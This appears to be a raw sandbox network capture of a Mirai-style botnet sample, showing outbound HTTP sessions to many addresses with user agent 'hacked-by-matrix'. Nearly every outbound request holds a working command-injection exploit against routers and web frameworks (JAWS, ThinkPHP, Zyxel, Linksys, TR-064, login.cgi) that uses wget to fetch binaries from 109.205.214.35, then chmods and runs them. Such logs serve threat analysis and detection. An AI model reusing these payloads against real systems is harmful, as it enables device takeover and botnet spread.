Session ID	Source IP	Source Port	Destination IP	Destination Port
1061	192.168.2.13	43738	199.80.62.129	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.263622999 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:12.359280109 CET	416	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:23:12 GMT Server: Apache Content-Length: 203 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1062	192.168.2.13	49648	112.184.185.186	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.509198904 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:12.809735060 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:23:11 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1063	192.168.2.13	35258	38.239.25.75	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.566543102 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:12.862054110 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:12 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1064	192.168.2.13	34912	206.108.48.14	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.632848024 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:13.555322886 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1065	192.168.2.13	41682	213.251.224.19	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.684412003 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:12.895154953 CET	484	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:23:12 GMT Server: Apache/2.2.15 (CentOS) Content-Length: 292 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1066	192.168.2.13	37632	172.65.215.170	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:12.964939117 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1067	192.168.2.13	44032	184.56.204.53	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:13.057738066 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:13.772253990 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1068	192.168.2.13	49482	83.64.209.104	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:13.107112885 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:13.316000938 CET	322	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Thu, 21 Mar 2024 04:23:13 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:23:13.316020012 CET	178	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1069	192.168.2.13	46650	178.67.214.158	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:13.113178015 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:13.338679075 CET	497	IN	HTTP/1.1 404 Not Found Cache-Control: no-cache Content-Type: text/html Content-Length: 345 Date: Mon, 02 Feb 1970 17:11:13 GMT Server: lighttpd Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>
Mar 21, 2024 05:23:13.338716030 CET	497	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Mon, 02 Feb 1970 17:11:13 GMT Server: lighttpd Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1070	192.168.2.13	49882	175.213.252.243	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:13.232808113 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1071	192.168.2.13	39800	212.71.239.183	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:13.307374001 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:13.464694977 CET	500	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 306 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 64 6a 61 6d 75 67 72 6f 75 70 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at djamugroup.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1072	192.168.2.13	56860	141.219.174.242	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:13.328236103 CET	6	OUT	Data Raw: 47 45 54 Data Ascii: GET
Mar 21, 2024 05:23:16.396270037 CET	6	OUT	Data Raw: 47 45 54 Data Ascii: GET
Mar 21, 2024 05:23:22.540261030 CET	6	OUT	Data Raw: 47 45 54 Data Ascii: GET
Mar 21, 2024 05:23:34.572243929 CET	6	OUT	Data Raw: 47 45 54 Data Ascii: GET

Session ID	Source IP	Source Port	Destination IP	Destination Port
1073	192.168.2.13	49940	175.213.252.243	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:13.520335913 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
